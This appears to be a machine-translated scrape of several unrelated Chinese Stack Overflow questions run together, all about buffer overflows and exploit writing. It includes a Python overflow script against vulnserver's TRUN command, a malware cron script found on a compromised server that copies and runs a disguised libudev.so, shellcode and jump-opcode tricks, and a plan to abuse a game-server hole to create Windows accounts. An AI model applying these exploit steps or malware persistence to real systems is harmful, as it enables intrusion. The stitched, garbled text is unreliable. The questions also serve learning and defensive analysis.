我正在尝试自学C++中的缓冲区溢出和利用.我是一个中级C++家伙,充其量,所以请耐心等待.我已经按照一些教程,但这里有一些示例代码来说明我的问题:
#include <string>
#include <iostream>
using namespace std;
int main()
{
begin:
int authentication = 0;
char cUsername[10], cPassword[10];
char cUser[10], cPass[10];
cout << "Username: ";
cin >> cUser;
cout << "Pass: ";
cin >> cPass;
strcpy(cUsername, cUser);
strcpy(cPassword, cPass);
if(strcmp(cUsername, "admin") == 0 && strcmp(cPassword, "adminpass") == 0)
{
authentication = 1;
}
if(authentication)
{
cout << "Access granted\n";
cout << (char)authentication;
}
else
{
cout << "Wrong username and password\n";
}
system("pause");
goto begin;
}
Run Code Online (Sandbox Code Playgroud)
我知道有各种坏朱朱在这里cin << …
我目前正在对vulnserver应用程序进行缓冲区溢出测试。用 A 的十六进制值溢出缓冲区似乎没有问题地传递到程序中。EIP 被覆盖也没有问题。但是,当我开始使用 NOP 雪橇时,在每个 NOP 值之后都会传入一个 C2 十六进制值。不知道为什么会这样。我有十六进制转储来向你展示我的意思:
这是我用来创建溢出的python脚本:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = '\x41' * 2006
shellcode = ...
nop = '\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = 'TRUN .' + buff + '\x05\x12\x50\x62' + nop
s.send(overflow.encode())Run Code Online (Sandbox Code Playgroud)
我想知道该错误是在 python 编码/发送数据包时发生的,还是仅仅是由于 vulnserver 的编写方式造成的。
我的服务器上遇到了高达1 Gbps的峰值,并且一直在寻找病毒和恶意软件.我在/etc/cron.hourly中找到了这个文件:gcc.sh,并且想知道是否有人看过类似的东西,并且会对代码有所了解.谢谢!
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/binfor i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
Run Code Online (Sandbox Code Playgroud) 在我们公司的编码标准中禁止使用普通的旧 strcpy,因为它可能会导致缓冲区溢出。我正在寻找我们在代码中链接的某些 3rd Party Library 的来源。库源代码使用 strcpy 是这样的:
for (int i = 0; i < newArgc; i++)
{
newArgv[i] = new char[strlen(argv[i]) + 1];
strcpy(newArgv[i], argv[i]);
}
Run Code Online (Sandbox Code Playgroud)
由于在为要复制到的缓冲区分配内存时使用了 strlen,因此看起来不错。有没有可能有人可以利用这个正常的 strcpy ,或者这是否像我认为的那样安全?
我已经看到了导致缓冲区溢出情况的 strcpy 的幼稚使用,但这似乎没有,因为它总是使用 strlen 为缓冲区分配适量的空间,然后使用 argv[] 作为复制到该缓冲区源应始终为空终止。
老实说,我很好奇使用调试器运行此代码的人是否可以利用此功能,或者是否有任何其他策略试图破解我们的二进制文件(使用我们在其编译版本中链接的这个库源)可以用来利用此用途的strcpy。感谢您的投入和专业知识。
我有一些来自shell代码有效负载的示例代码,显示了for循环并使用push / pop设置计数器:
push 9
pop ecx
Run Code Online (Sandbox Code Playgroud)
为什么不能只使用mov?
mov ecx, 9
Run Code Online (Sandbox Code Playgroud) 我正在运行一个 CTF,目前正在编写一个利用 Cgets函数的问题。我知道该函数已被弃用且危险,我绝不会在任何其他情况下使用它。不幸的是,gcc编译我的代码,当我在函数被调用时运行二进制文件时gets,我收到一条友好的错误消息:
warning: this program uses gets(), which is unsafe.
Run Code Online (Sandbox Code Playgroud)
这通常会很好,因为它会警告您 gets 是不安全的,但不幸的是,在我的 CTF 中,我认为这个错误消息使问题变得有点太简单了。你知道我将如何禁用此警告吗?谢谢!
warning: this program uses gets(), which is unsafe.
Run Code Online (Sandbox Code Playgroud) 像这样的工具如何能够将ajax风格的调用回到中心站点?基本上他们会给你一个"标记放在你的网站上.所以在这个小部件中,你有能力要求发送一封电子邮件给你当前的页面.我认为这是一个ajax样式回叫分享这个发送电子邮件的人.但他们怎么能在你的服务器上没有代理服务器而没有浏览器阻止它作为XSS漏洞呢?
非常感谢您的帮助,谢谢您的帮助.我假设使用Flickr API会带来同样的挑战吗?
标题链接:http://sharethis.com/
我将首先给出一个基本的情况概述.我在一家游戏服务器租赁公司工作,该公司正在成为主要游戏引擎(来源)内部漏洞的受害者.基本上,开发人员在代码中留下了一个而非两个漏洞,一个发送/接收文件,一个允许客户端运行插件.发生的事情是客户端正在运行插件,将自定义插件上传到服务器,然后服务器正在运行它们,从而创建这些开发人员用来访问计算机的远程桌面帐户.(Theres实际上是一个视频在youtube上有人闯入我们的一个盒子lol)
通过阻止服务器端的SendFile()和RecieveFile()函数,我花了一整天的时间来编写修复程序,但是我的雇主已经要求我在执行此操作时使用该漏洞获取访问权限丢失了密码.所以我已经编写了所有必要的代码,除了我需要能够创建一个临时帐户,就像这些开发者正在做的那样.因此,对于从c ++创建Windows帐户的代码的任何帮助都将非常感激.有人告诉我谷歌有很多样本,但显然谷歌的技能并不合适.
如何找到特定指令的内存地址(用于漏洞编写)?
具体来说,我正在寻找没有Service Pack的Windows XP上的call ebp指令,user32.dll我可以指向它的地址EIP.我在目标上安装了Immunity Debugger和OllyDBG.
我需要为一个漏洞利用演示制作一个跳转操作码.
我需要在跳转指令后跳转到大约200个字节.这太过分了jmp short.
如果我使用常规跳转生成操作码,jmp $200我会得到:
e9 fb 01 00 00
Run Code Online (Sandbox Code Playgroud)
这里的问题是操作码包含00,当将字符串传递给程序时,它被解释为字符串的结尾(因此我不能将完整的shellcode传递给它).
我认为我的方法被搞砸了,但后来我检查了手册,在第二行显然有一个"近似跳跃"需要2个字节(还有另一个需要4个字节,我上面显示的那个).这两个跳转都以相同的字节开头e9.
我如何通过e9 fb 01只接受两个字节参数的近跳转?如何阻止操作系统查找后的四个字节e9,即:e9 fb 01 90 90?